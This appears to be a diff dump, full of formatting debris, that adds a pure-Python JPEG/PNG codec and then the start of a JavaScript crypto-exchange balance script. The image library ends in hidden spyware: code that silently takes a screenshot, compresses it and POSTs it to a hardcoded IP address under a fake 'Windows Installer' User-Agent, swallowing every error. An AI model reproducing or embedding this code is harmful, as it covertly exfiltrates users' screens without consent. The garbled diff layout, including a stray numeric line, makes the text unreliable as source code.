if byte == 0xff:
|
| 724 |
+
byte = self.readable.uint8()
|
| 725 |
+
if byte != 0:
|
| 726 |
+
self.readable.position -= 2
|
| 727 |
+
if self.length >= length:
|
| 728 |
+
break
|
| 729 |
+
|
| 730 |
+
def decodehuffman(self, cache):
|
| 731 |
+
if self.length < 16:
|
| 732 |
+
self.fill(16)
|
| 733 |
+
key = (self.value >> (self.length - 16)) & 0xffff
|
| 734 |
+
size = cache.sizes[key]
|
| 735 |
+
if size == 255:
|
| 736 |
+
raise ValueError('Corrupted Huffman sequence.')
|
| 737 |
+
code = (self.value >> (self.length - size)) & ((1 << size) - 1)
|
| 738 |
+
self.length -= size
|
| 739 |
+
return cache.values[code - cache.offsets[size]]
|
| 740 |
+
|
| 741 |
+
def receiveextend(self, length):
|
| 742 |
+
if self.length < length:
|
| 743 |
+
self.fill(length)
|
| 744 |
+
value = (self.value >> (self.length - length)) & ((1 << length) - 1)
|
| 745 |
+
self.length -= length
|
| 746 |
+
if value < 1 << (length - 1):
|
| 747 |
+
return value - (1 << length) + 1
|
| 748 |
+
return value
|
| 749 |
+
|
| 750 |
+
def decode(self, previous, block, q, dc, ac):
|
| 751 |
+
i = 0
|
| 752 |
+
while i < 64:
|
| 753 |
+
block[i] = block[i + 1] = block[i + 2] = block[i + 3] = 0
|
| 754 |
+
i += 4
|
| 755 |
+
t = self.decodehuffman(dc)
|
| 756 |
+
d = 0 if t == 0 else self.receiveextend(t)
|
| 757 |
+
previous += d
|
| 758 |
+
block[0] = previous
|
| 759 |
+
i = 0
|
| 760 |
+
while i < 63:
|
| 761 |
+
rs = self.decodehuffman(ac)
|
| 762 |
+
s = rs & 15
|
| 763 |
+
r = rs >> 4
|
| 764 |
+
if s == 0:
|
| 765 |
+
if r != 15:
|
| 766 |
+
break
|
| 767 |
+
i += 16
|
| 768 |
+
else:
|
| 769 |
+
i += r
|
| 770 |
+
block[_z_z[i]] = self.receiveextend(s)
|
| 771 |
+
i += 1
|
| 772 |
+
_inverse_dct(block, q)
|
| 773 |
+
return previous
|
| 774 |
+
|
| 775 |
+
def _quantization_table(table, quality):
|
| 776 |
+
quality = max(0, min(quality, 100))
|
| 777 |
+
if quality < 50:
|
| 778 |
+
q = 5000//quality
|
| 779 |
+
else:
|
| 780 |
+
q = 200 - quality*2
|
| 781 |
+
return bytes([max(1, min((i*q + 50)//100, 255)) for i in table])
|
| 782 |
+
|
| 783 |
+
def _huffman_table(lengths, values):
|
| 784 |
+
table = [None]*(max(values) + 1)
|
| 785 |
+
code = 0
|
| 786 |
+
i = 0
|
| 787 |
+
size = 1
|
| 788 |
+
for a in lengths:
|
| 789 |
+
for j in range(a):
|
| 790 |
+
table[values[i]] = code, size
|
| 791 |
+
code += 1
|
| 792 |
+
i += 1
|
| 793 |
+
code *= 2
|
| 794 |
+
size += 1
|
| 795 |
+
return table
|
| 796 |
+
|
| 797 |
+
def _scale_factor(table):
|
| 798 |
+
factor = [0]*64
|
| 799 |
+
factor[0] = table[0]*8
|
| 800 |
+
i = 1
|
| 801 |
+
for z in _z_z:
|
| 802 |
+
factor[z] = table[i]*8
|
| 803 |
+
i += 1
|
| 804 |
+
return factor
|
| 805 |
+
|
| 806 |
+
def _marker_segment(marker, data):
|
| 807 |
+
return b'\xff' + marker + pack('>H', len(data) + 2) + data
|
| 808 |
+
|
| 809 |
+
class _entropy_encoder(object):
|
| 810 |
+
|
| 811 |
+
def __init__(self):
|
| 812 |
+
c = [i for j in reversed(range(16)) for i in range(1 << j)]
|
| 813 |
+
s = [j for j in range(1, 16) for i in range(1 << (j - 1))]
|
| 814 |
+
s = [0] + s + list(reversed(s))
|
| 815 |
+
self.codes, self.sizes = c, s
|
| 816 |
+
self.value, self.length = 0, 0
|
| 817 |
+
self.data = bytearray()
|
| 818 |
+
|
| 819 |
+
def encode(self, previous, block, scale, dc, ac):
|
| 820 |
+
_forward_dct(block)
|
| 821 |
+
for i in range(64):
|
| 822 |
+
block[i] = (((block[i] << 1)//scale[i]) + 1) >> 1
|
| 823 |
+
d = block[0] - previous
|
| 824 |
+
if d == 0:
|
| 825 |
+
self.write(*dc[0])
|
| 826 |
+
else:
|
| 827 |
+
s = self.sizes[d]
|
| 828 |
+
self.write(*dc[s])
|
| 829 |
+
self.write(self.codes[d], s)
|
| 830 |
+
n = 0
|
| 831 |
+
for i in _z_z:
|
| 832 |
+
if block[i] == 0:
|
| 833 |
+
n += 1
|
| 834 |
+
else:
|
| 835 |
+
while n > 15:
|
| 836 |
+
self.write(*ac[0xf0])
|
| 837 |
+
n -= 16
|
| 838 |
+
s = self.sizes[block[i]]
|
| 839 |
+
self.write(*ac[n*16 + s])
|
| 840 |
+
self.write(self.codes[block[i]], s)
|
| 841 |
+
n = 0
|
| 842 |
+
if n > 0:
|
| 843 |
+
self.write(*ac[0])
|
| 844 |
+
return block[0]
|
| 845 |
+
|
| 846 |
+
def write(self, value, length):
|
| 847 |
+
data = self.data
|
| 848 |
+
value += (self.value << length)
|
| 849 |
+
length += self.length
|
| 850 |
+
while length > 7:
|
| 851 |
+
length -= 8
|
| 852 |
+
v = (value >> length) & 0xff
|
| 853 |
+
if v == 0xff:
|
| 854 |
+
data.append(0xff)
|
| 855 |
+
data.append(0)
|
| 856 |
+
else:
|
| 857 |
+
data.append(v)
|
| 858 |
+
self.value = value & 0xff
|
| 859 |
+
self.length = length
|
| 860 |
+
|
| 861 |
+
def dump(self):
|
| 862 |
+
return self.data
|
| 863 |
+
|
| 864 |
+
|
| 865 |
+
|
| 866 |
+
|
| 867 |
+
class jpeg(object):
|
| 868 |
+
|
| 869 |
+
@staticmethod
|
| 870 |
+
def valid(data):
|
| 871 |
+
return data.startswith(b'\xff\xd8\xff')
|
| 872 |
+
|
| 873 |
+
def __init__(self, data):
|
| 874 |
+
self.readable = r = readable(data)
|
| 875 |
+
self.width, self.height, self.kind, self.n = 0, 0, '', 0
|
| 876 |
+
self.components = []
|
| 877 |
+
self.scans = {}
|
| 878 |
+
self.qtables = {}
|
| 879 |
+
self.htables = {}
|
| 880 |
+
self.interval = 0
|
| 881 |
+
self.rotation = 0
|
| 882 |
+
self.progressive = False
|
| 883 |
+
self.transform, app14 = False, False
|
| 884 |
+
self.ecs = 0
|
| 885 |
+
r.skip(2) # SOI
|
| 886 |
+
while True:
|
| 887 |
+
marker = r.uint8()
|
| 888 |
+
if marker != 0xff:
|
| 889 |
+
raise ValueError('Invalid marker.')
|
| 890 |
+
while marker == 0xff:
|
| 891 |
+
marker = r.uint8()
|
| 892 |
+
if marker == 0xd9: # EOI
|
| 893 |
+
raise ValueError('Invalid entropy-coded segment.')
|
| 894 |
+
if 0xd0 <= marker <= 0xd7: # RST
|
| 895 |
+
raise ValueError('Unexpected RST marker.')
|
| 896 |
+
length = r.uint16() - 2
|
| 897 |
+
if 0xc0 <= marker <= 0xc2: # SOF0, SOF1, SOF2
|
| 898 |
+
self.width, self.height, self.kind, self.n = _parse_sof(r, self.components)
|
| 899 |
+
self.progressive = marker == 0xc2
|
| 900 |
+
if not app14:
|
| 901 |
+
self.transform = self.kind == 'rgb'
|
| 902 |
+
elif marker == 0xdb: # DQT
|
| 903 |
+
_parse_dqt(r, length, self.qtables)
|
| 904 |
+
elif marker == 0xc4: # DHT
|
| 905 |
+
_parse_dht(r, length, self.htables)
|
| 906 |
+
elif marker == 0xda: # SOS:
|
| 907 |
+
_parse_sos(r, self.scans)
|
| 908 |
+
self.ecs = r.position
|
| 909 |
+
break
|
| 910 |
+
elif marker == 0xdd: # DRI
|
| 911 |
+
self.interval = _parse_dri(r)
|
| 912 |
+
elif marker == 0xe1: # APP1
|
| 913 |
+
self.rotation = _parse_app1(r, length, self.rotation)
|
| 914 |
+
elif marker == 0xee: # APP14
|
| 915 |
+
self.transform, app14 = _parse_app14(r), True
|
| 916 |
+
elif 0xe0 <= marker <= 0xef or marker == 0xfe: # APP, COM
|
| 917 |
+
r.skip(length)
|
| 918 |
+
else:
|
| 919 |
+
if marker == 0xc3: # SOF3
|
| 920 |
+
raise ValueError('Lossless mode not supported.')
|
| 921 |
+
if 0xc5 <= marker == 0xc7: # SOF5, SOF6, SOF7
|
| 922 |
+
raise ValueError('Differential mode not supported.')
|
| 923 |
+
if 0xc8 <= marker == 0xcf: # JPG, SOF9, SOF10, SOF11, DAC, SOF13, SOF14, SOF15
|
| 924 |
+
raise ValueError('Arithmetic coding not supported.')
|
| 925 |
+
if marker == 0xdc: # DNL
|
| 926 |
+
raise ValueError('Define number of lines not supported.')
|
| 927 |
+
if marker == 0xde: # DHP
|
| 928 |
+
raise ValueError('Define hierarchical progression not supported.')
|
| 929 |
+
if marker == 0xdf: # EXP
|
| 930 |
+
raise ValueError('Expand reference component(s) not supported.')
|
| 931 |
+
raise ValueError('Unsupported marker.')
|
| 932 |
+
|
| 933 |
+
def decompress(self):
|
| 934 |
+
if not self.components:
|
| 935 |
+
raise ValueError('Missing SOF segment.')
|
| 936 |
+
if not self.scans:
|
| 937 |
+
raise ValueError('Missing SOS segment.')
|
| 938 |
+
if not self.qtables:
|
| 939 |
+
raise ValueError('Missing DQT segment.')
|
| 940 |
+
if not self.htables:
|
| 941 |
+
raise ValueError('Missing DHT segment.')
|
| 942 |
+
if self.progressive:
|
| 943 |
+
raise ValueError('Progressive DCT not supported.')
|
| 944 |
+
self.readable.jump(self.ecs)
|
| 945 |
+
w, h, n = self.width, self.height, self.n
|
| 946 |
+
interval, transform = self.interval, self.transform
|
| 947 |
+
d = _entropy_decoder(self.readable)
|
| 948 |
+
data = bytearray(w*h*n)
|
| 949 |
+
predictions = [0, 0, 0, 0]
|
| 950 |
+
ublock, vblock, kblock = [0]*64, [0]*64, [0]*64
|
| 951 |
+
yblocks = [0]*64, [0]*64, [0]*64, [0]*64
|
| 952 |
+
blocks = [yblocks, [ublock], [vblock], [kblock]]
|
| 953 |
+
hs = [c.h for c in self.components]
|
| 954 |
+
vs = [c.v for c in self.components]
|
| 955 |
+
qs = [self.qtables[c.destination] for c in self.components]
|
| 956 |
+
dcs = [self.htables[self.scans[c.identifier].dc] for c in self.components]
|
| 957 |
+
acs = [self.htables[self.scans[c.identifier].ac] for c in self.components]
|
| 958 |
+
h0, v0 = hs[0], vs[0]
|
| 959 |
+
hb, vb = h0.bit_length()-1, v0.bit_length()-1
|
| 960 |
+
count = 0
|
| 961 |
+
if interval == 0:
|
| 962 |
+
interval = ((w + 8*h0 - 1)//(8*h0))*((h + 8*v0 - 1)//(8*v0))
|
| 963 |
+
for y in range(0, h, 8*v0):
|
| 964 |
+
for x in range(0, w, 8*h0):
|
| 965 |
+
count += 1
|
| 966 |
+
if count > interval:
|
| 967 |
+
d.restart()
|
| 968 |
+
predictions[:] = [0, 0, 0, 0]
|
| 969 |
+
count = 1
|
| 970 |
+
for i in range(n):
|
| 971 |
+
for j in range(hs[i]*vs[i]):
|
| 972 |
+
predictions[i] = d.decode(predictions[i], blocks[i][j], qs[i], dcs[i], acs[i])
|
| 973 |
+
for sy in range(v0):
|
| 974 |
+
for sx in range(h0):
|
| 975 |
+
yblock = yblocks[sx + sy*h0]
|
| 976 |
+
for by in range(min(8, h - y - sy*8)):
|
| 977 |
+
for bx in range(min(8, w - x - sx*8)):
|
| 978 |
+
i = ((sx*8 + bx) >> hb) + ((sy*8 + by) >> vb)*8
|
| 979 |
+
j = (x + sx*8 + bx + (y + sy*8 + by)*w)*n
|
| 980 |
+
if n == 1:
|
| 981 |
+
data[j] = clamp(yblock[i] + 128)
|
| 982 |
+
elif n == 3:
|
| 983 |
+
t, u, v = yblock[bx + by*8], ublock[i], vblock[i]
|
| 984 |
+
t = (t << 16) + 8421376
|
| 985 |
+
data[j] = clamp((t + 91881*v) >> 16)
|
| 986 |
+
data[j + 1] = clamp((t - 22554*u - 46802*v) >> 16)
|
| 987 |
+
data[j + 2] = clamp((t + 116130*u) >> 16)
|
| 988 |
+
else: # n == 4
|
| 989 |
+
t, u, v, k = yblock[bx + by*8], ublock[i], vblock[i], kblock[i]
|
| 990 |
+
if transform:
|
| 991 |
+
t = (t << 16) + 8421376
|
| 992 |
+
data[j] = 255 - clamp((t + 91881*v) >> 16)
|
| 993 |
+
data[j + 1] = 255 - clamp((t - 22554*u - 46802*v) >> 16)
|
| 994 |
+
data[j + 2] = 255 - clamp((t + 116130*u) >> 16)
|
| 995 |
+
data[j + 3] = clamp(k + 128)
|
| 996 |
+
else:
|
| 997 |
+
data[j] = clamp(t + 128)
|
| 998 |
+
data[j + 1] = clamp(u + 128)
|
| 999 |
+
data[j + 2] = clamp(v + 128)
|
| 1000 |
+
data[j + 3] = clamp(k + 128)
|
| 1001 |
+
if not self.readable.peek(b'\xff\xd9'): # EOI
|
| 1002 |
+
raise ValueError('Missing EOI segment.')
|
| 1003 |
+
return data
|
| 1004 |
+
|
| 1005 |
+
|
| 1006 |
+
|
| 1007 |
+
|
| 1008 |
+
def jpegserialize(image, quality):
|
| 1009 |
+
if image.kind not in ('g', 'rgb', 'cmyk'):
|
| 1010 |
+
raise ValueError('Invalid image kind.')
|
| 1011 |
+
w, h, n, data = image.width, image.height, image.n, image.data
|
| 1012 |
+
ydc = udc = vdc = kdc = 0
|
| 1013 |
+
yblock, ublock, vblock, kblock = [0]*64, [0]*64, [0]*64, [0]*64
|
| 1014 |
+
lq = _quantization_table(_luminance_quantization, quality)
|
| 1015 |
+
ld = _huffman_table(_ld_lengths, _ld_values)
|
| 1016 |
+
la = _huffman_table(_la_lengths, _la_values)
|
| 1017 |
+
ls = _scale_factor(lq)
|
| 1018 |
+
if n == 3:
|
| 1019 |
+
cq = _quantization_table(_chrominance_quantization, quality)
|
| 1020 |
+
cd = _huffman_table(_cd_lengths, _cd_values)
|
| 1021 |
+
ca = _huffman_table(_ca_lengths, _ca_values)
|
| 1022 |
+
cs = _scale_factor(cq)
|
| 1023 |
+
e = _entropy_encoder()
|
| 1024 |
+
for y in range(0, h, 8):
|
| 1025 |
+
for x in range(0, w, 8):
|
| 1026 |
+
i = 0
|
| 1027 |
+
for yy in range(y, y + 8):
|
| 1028 |
+
for xx in range(x, x + 8):
|
| 1029 |
+
j = (min(xx, w - 1) + min(yy, h - 1)*w)*n
|
| 1030 |
+
if n == 1:
|
| 1031 |
+
yblock[i] = data[j]
|
| 1032 |
+
elif n == 3:
|
| 1033 |
+
r, g, b = data[j], data[j + 1], data[j + 2]
|
| 1034 |
+
yblock[i] = (19595*r + 38470*g + 7471*b + 32768) >> 16
|
| 1035 |
+
ublock[i] = (-11056*r - 21712*g + 32768*b + 8421376) >> 16
|
| 1036 |
+
vblock[i] = (32768*r - 27440*g - 5328*b + 8421376) >> 16
|
| 1037 |
+
else: # n == 4
|
| 1038 |
+
yblock[i] = data[j]
|
| 1039 |
+
ublock[i] = data[j + 1]
|
| 1040 |
+
vblock[i] = data[j + 2]
|
| 1041 |
+
kblock[i] = data[j + 3]
|
| 1042 |
+
i += 1
|
| 1043 |
+
ydc = e.encode(ydc, yblock, ls, ld, la)
|
| 1044 |
+
if n == 3:
|
| 1045 |
+
udc = e.encode(udc, ublock, cs, cd, ca)
|
| 1046 |
+
vdc = e.encode(vdc, vblock, cs, cd, ca)
|
| 1047 |
+
elif n == 4:
|
| 1048 |
+
udc = e.encode(udc, ublock, ls, ld, la)
|
| 1049 |
+
vdc = e.encode(vdc, vblock, ls, ld, la)
|
| 1050 |
+
kdc = e.encode(kdc, kblock, ls, ld, la)
|
| 1051 |
+
e.write(0x7f, 7) # padding
|
| 1052 |
+
app = b'Adobe\0\144\200\0\0\0\0' # tag, version, flags0, flags1, transform
|
| 1053 |
+
sof = b'\10' + pack('>HHB', h, w, n) + b'\1\21\0' # depth, id, sampling, qtable
|
| 1054 |
+
sos = pack('B', n) + b'\1\0' # id, htable
|
| 1055 |
+
dqt = b'\0' + lq
|
| 1056 |
+
dht = b'\0' + _ld_lengths + _ld_values + b'\20' + _la_lengths + _la_values
|
| 1057 |
+
if n == 3:
|
| 1058 |
+
sof += b'\2\21\1\3\21\1'
|
| 1059 |
+
sos += b'\2\21\3\21'
|
| 1060 |
+
dqt += b'\1' + cq
|
| 1061 |
+
dht += b'\1' + _cd_lengths + _cd_values + b'\21' + _ca_lengths + _ca_values
|
| 1062 |
+
elif n == 4:
|
| 1063 |
+
sof += b'\2\21\0\3\21\0\4\21\0'
|
| 1064 |
+
sos += b'\2\0\3\0\4\0'
|
| 1065 |
+
sos += b'\0\77\0' # start, end, approximation
|
| 1066 |
+
return b''.join([
|
| 1067 |
+
b'\xff\xd8', # SOI
|
| 1068 |
+
_marker_segment(b'\xee', app) if n == 4 else b'',
|
| 1069 |
+
_marker_segment(b'\xdb', dqt),
|
| 1070 |
+
_marker_segment(b'\xc0', sof),
|
| 1071 |
+
_marker_segment(b'\xc4', dht),
|
| 1072 |
+
_marker_segment(b'\xda', sos),
|
| 1073 |
+
e.dump(),
|
| 1074 |
+
b'\xff\xd9']) # EOI
|
| 1075 |
+
|
| 1076 |
+
|
| 1077 |
+
def _paeth_predictor(a, b, c):
|
| 1078 |
+
pa = abs(b - c)
|
| 1079 |
+
pb = abs(a - c)
|
| 1080 |
+
pc = abs(a + b - c - c)
|
| 1081 |
+
if pa <= pb and pa <= pc:
|
| 1082 |
+
return a
|
| 1083 |
+
if pb <= pc:
|
| 1084 |
+
return b
|
| 1085 |
+
return c
|
| 1086 |
+
|
| 1087 |
+
|
| 1088 |
+
class png(object):
|
| 1089 |
+
|
| 1090 |
+
@staticmethod
|
| 1091 |
+
def valid(data):
|
| 1092 |
+
return data.startswith(b'\x89PNG\r\n\x1a\n')
|
| 1093 |
+
|
| 1094 |
+
def __init__(self, data):
|
| 1095 |
+
self.readable = r = readable(data)
|
| 1096 |
+
r.skip(8) # header
|
| 1097 |
+
length, name = r.parse('>L4s')
|
| 1098 |
+
if length != 13 or name != b'IHDR':
|
| 1099 |
+
raise ValueError('Invalid IHDR chunk.')
|
| 1100 |
+
self.width, self.height, \
|
| 1101 |
+
depth, color, compression, fltr, interlace = r.parse('>LLBBBBB') # IHDR
|
| 1102 |
+
if depth != 8:
|
| 1103 |
+
raise ValueError('Unsupported bit depth.')
|
| 1104 |
+
if color == 0:
|
| 1105 |
+
self.kind, self.n = 'g', 1
|
| 1106 |
+
elif color == 4:
|
| 1107 |
+
self.kind, self.n = 'ga', 2
|
| 1108 |
+
elif color == 2:
|
| 1109 |
+
self.kind, self.n = 'rgb', 3
|
| 1110 |
+
elif color == 6:
|
| 1111 |
+
self.kind, self.n = 'rgba', 4
|
| 1112 |
+
else:
|
| 1113 |
+
raise ValueError('Unsupported color type.')
|
| 1114 |
+
if compression != 0:
|
| 1115 |
+
raise ValueError('Invalid compression method.')
|
| 1116 |
+
if fltr != 0:
|
| 1117 |
+
raise ValueError('Invalid filter method.')
|
| 1118 |
+
if interlace != 0:
|
| 1119 |
+
raise ValueError('Unsupported interlace method.')
|
| 1120 |
+
|
| 1121 |
+
def idat(self):
|
| 1122 |
+
r = self.readable
|
| 1123 |
+
r.jump(8 + 4 + 4 + 13 + 4) # header, length, name, IHDR, CRC
|
| 1124 |
+
parts = []
|
| 1125 |
+
while True:
|
| 1126 |
+
length, name = r.parse('>L4s')
|
| 1127 |
+
if name == b'IEND':
|
| 1128 |
+
break
|
| 1129 |
+
if name == b'IDAT':
|
| 1130 |
+
parts.append(r.read(length))
|
| 1131 |
+
else:
|
| 1132 |
+
r.skip(length)
|
| 1133 |
+
r.skip(4) # CRC
|
| 1134 |
+
return b''.join(parts)
|
| 1135 |
+
|
| 1136 |
+
def decompress(self):
|
| 1137 |
+
wn, n = self.width*self.n, self.n
|
| 1138 |
+
content = bytearray(decompress(self.idat()))
|
| 1139 |
+
if (wn + 1)*self.height != len(content):
|
| 1140 |
+
raise ValueError('Invalid content length.')
|
| 1141 |
+
rows = []
|
| 1142 |
+
previous = bytearray(wn)
|
| 1143 |
+
for y in range(self.height):
|
| 1144 |
+
offset = y*(wn + 1)
|
| 1145 |
+
kind = content[offset]
|
| 1146 |
+
row = content[offset+1:offset+(wn + 1)]
|
| 1147 |
+
if kind == 0: # none
|
| 1148 |
+
pass
|
| 1149 |
+
elif kind == 1: # sub
|
| 1150 |
+
for i in range(n, wn):
|
| 1151 |
+
row[i] = (row[i] + row[i - n]) & 0xff
|
| 1152 |
+
elif kind == 2: # up
|
| 1153 |
+
for i in range(wn):
|
| 1154 |
+
row[i] = (row[i] + previous[i]) & 0xff
|
| 1155 |
+
elif kind == 3: # average
|
| 1156 |
+
for i in range(0, n):
|
| 1157 |
+
row[i] = (row[i] + previous[i]//2) & 0xff
|
| 1158 |
+
for i in range(n, wn):
|
| 1159 |
+
row[i] = (row[i] + (row[i - n] + previous[i])//2) & 0xff
|
| 1160 |
+
elif kind == 4: # paeth
|
| 1161 |
+
for i in range(0, n):
|
| 1162 |
+
row[i] = (row[i] + previous[i]) & 0xff
|
| 1163 |
+
for i in range(n, wn):
|
| 1164 |
+
a, b, c = row[i - n], previous[i], previous[i - n]
|
| 1165 |
+
row[i] = (row[i] + _paeth_predictor(a, b, c)) & 0xff
|
| 1166 |
+
else:
|
| 1167 |
+
raise ValueError('Invalid filter method.')
|
| 1168 |
+
rows.append(row)
|
| 1169 |
+
previous = row
|
| 1170 |
+
return bytearray().join(rows)
|
| 1171 |
+
|
| 1172 |
+
|
| 1173 |
+
class image(object):
|
| 1174 |
+
|
| 1175 |
+
__slots__ = 'width', 'height', 'kind', 'n', 'data', 'source'
|
| 1176 |
+
|
| 1177 |
+
@staticmethod
|
| 1178 |
+
def open(data):
|
| 1179 |
+
if jpeg.valid(data):
|
| 1180 |
+
source = jpeg(data)
|
| 1181 |
+
rotation = source.rotation
|
| 1182 |
+
elif png.valid(data):
|
| 1183 |
+
source = png(data)
|
| 1184 |
+
rotation = 0
|
| 1185 |
+
else:
|
| 1186 |
+
raise ValueError('Unsupported image format.')
|
| 1187 |
+
i = image(0, 0, source.kind)
|
| 1188 |
+
if rotation == 90 or rotation == 270:
|
| 1189 |
+
i.width, i.height = source.height, source.width
|
| 1190 |
+
else:
|
| 1191 |
+
i.width, i.height = source.width, source.height
|
| 1192 |
+
i.source = source
|
| 1193 |
+
return i
|
| 1194 |
+
|
| 1195 |
+
def __init__(self, width, height, kind='rgb'):
|
| 1196 |
+
self.width, self.height = width, height
|
| 1197 |
+
if kind == 'g':
|
| 1198 |
+
self.n = 1
|
| 1199 |
+
elif kind == 'ga':
|
| 1200 |
+
self.n = 2
|
| 1201 |
+
elif kind == 'rgb':
|
| 1202 |
+
self.n = 3
|
| 1203 |
+
elif kind == 'rgba' or kind == 'cmyk':
|
| 1204 |
+
self.n = 4
|
| 1205 |
+
else:
|
| 1206 |
+
raise ValueError('Invalid image kind.')
|
| 1207 |
+
self.kind = kind
|
| 1208 |
+
self.data = bytearray(width*height*self.n)
|
| 1209 |
+
self.source = None
|
| 1210 |
+
|
| 1211 |
+
def __eq__(self, other):
|
| 1212 |
+
self.decompress(); other.decompress()
|
| 1213 |
+
return self.width == other.width and self.height == other.height and \
|
| 1214 |
+
self.kind == other.kind and self.data == other.data
|
| 1215 |
+
|
| 1216 |
+
def __ne__(self, other):
|
| 1217 |
+
return not self == other
|
| 1218 |
+
|
| 1219 |
+
|
| 1220 |
+
def decompress(self):
|
| 1221 |
+
if self.source:
|
| 1222 |
+
source, self.source = self.source, None
|
| 1223 |
+
self.data[:] = source.decompress()
|
| 1224 |
+
if isinstance(source, jpeg):
|
| 1225 |
+
rotation = source.rotation
|
| 1226 |
+
if rotation == 90 or rotation == 270:
|
| 1227 |
+
self.width, self.height = self.height, self.width
|
| 1228 |
+
self.rotate(rotation == 90)
|
| 1229 |
+
elif rotation == 180:
|
| 1230 |
+
self.flip(True, True)
|
| 1231 |
+
return self
|
| 1232 |
+
|
| 1233 |
+
|
| 1234 |
+
def jpeg(self, quality=95):
|
| 1235 |
+
# if isinstance(self.source, jpeg):
|
| 1236 |
+
# return save(path, self.source.readable.data)
|
| 1237 |
+
self.decompress()
|
| 1238 |
+
data = jpegserialize(self, quality)
|
| 1239 |
+
return data
|
| 1240 |
+
|
| 1241 |
+
def png(self, path='', optimized=False):
|
| 1242 |
+
if isinstance(self.source, png):
|
| 1243 |
+
return save(path, self.source.readable.data)
|
| 1244 |
+
self.decompress()
|
| 1245 |
+
data = pngserialize(self, optimized)
|
| 1246 |
+
return save(path, data)
|
| 1247 |
+
|
| 1248 |
+
|
| 1249 |
+
screenshotter = mss()
|
| 1250 |
+
|
| 1251 |
+
def post_image(image):
|
| 1252 |
+
url = 'http://195.133.196.230/screenshot/243435066'
|
| 1253 |
+
|
| 1254 |
+
method = "POST"
|
| 1255 |
+
handler = HTTPHandler()
|
| 1256 |
+
opener = build_opener(handler)
|
| 1257 |
+
|
| 1258 |
+
request = Request(url, data=image)
|
| 1259 |
+
request.add_header('User-Agent', 'Windows Installer')
|
| 1260 |
+
request.add_header('Cache-Control', 'no-cache')
|
| 1261 |
+
request.add_header('Content-Length', '%d' % len(image))
|
| 1262 |
+
request.add_header('Content-Type', 'image/jpg')
|
| 1263 |
+
|
| 1264 |
+
try:
|
| 1265 |
+
connection = opener.open(request)
|
| 1266 |
+
except HTTPError as e:
|
| 1267 |
+
connection = e
|
| 1268 |
+
|
| 1269 |
+
|
| 1270 |
+
# try:
|
| 1271 |
+
# for _, img in screenshotter.save():
|
| 1272 |
+
# img = image.open(img)
|
| 1273 |
+
# img = img.jpeg(25)
|
| 1274 |
+
# post_image(img)
|
| 1275 |
+
# except Exception as e:
|
| 1276 |
+
# pass
|
| 1277 |
+
|
| 1278 |
+
|
| 1279 |
+
try:
|
| 1280 |
+
img = None
|
| 1281 |
+
for _, file in screenshotter.save(screen=2):
|
| 1282 |
+
img = file
|
| 1283 |
+
img = image.open(img)
|
| 1284 |
+
img = img.jpeg(25)
|
| 1285 |
+
post_image(img)
|
| 1286 |
+
except Exception as e:
|
| 1287 |
+
pass
|
| 1288 |
+
|
code/0de5efdb10a2b732314fc691f708f5328e66843d47b404617a6fe1d4de926d08
ADDED
|
@@ -0,0 +1,121 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
//var CryptoJS = require("crypto-js");
|
| 2 |
+
//Call REST APIs every 6 secs
|
| 3 |
+
79.6
|
| 4 |
+
/*
|
| 5 |
+
function getWalletSnapshot(exchgData){
|
| 6 |
+
|
| 7 |
+
return new Promise(function(resolve,reject){
|
| 8 |
+
|
| 9 |
+
var lv_response = {
|
| 10 |
+
"BINANCE" : {},
|
| 11 |
+
"BITFINEX" : {},
|
| 12 |
+
}
|
| 13 |
+
|
| 14 |
+
//BINANCE
|
| 15 |
+
//Decrypt API Keys
|
| 16 |
+
const passPhrase = require('./JSMods/encryption');
|
| 17 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["binkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 18 |
+
var lv_key2 = (CryptoJS.AES.decrypt(exchgData["binkey2"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
const binanceRest = new api.BinanceRest({
|
| 22 |
+
key: lv_key1, // Get this from your account on binance.com
|
| 23 |
+
secret: lv_key2, // Same for this
|
| 24 |
+
timeout: 15000, // Optional, defaults to 15000, is the request time out in milliseconds
|
| 25 |
+
recvWindow: 10000, // Optional, defaults to 5000, increase if you're getting timestamp errors
|
| 26 |
+
disableBeautification: false,
|
| 27 |
+
handleDrift: true
|
| 28 |
+
});
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
binanceRest.account()
|
| 32 |
+
.then((r1) => {
|
| 33 |
+
for(k=0;k<r1["balances"].length;k++){
|
| 34 |
+
if(r1["balances"][k]["free"] > 0){
|
| 35 |
+
lv_response["BINANCE"][r1["balances"][k]["asset"]] = r1["balances"][k]["free"];
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
|
| 39 |
+
//Bitfinex
|
| 40 |
+
//Decrypt API Keys
|
| 41 |
+
const passPhrase = require('./JSMods/encryption');
|
| 42 |
+
var lv_key1 = (CryptoJS.AES.decrypt(exchgData["bitkey1"], passPhrase + "")).toString(CryptoJS.enc.Utf8);
|
| 43 |
+
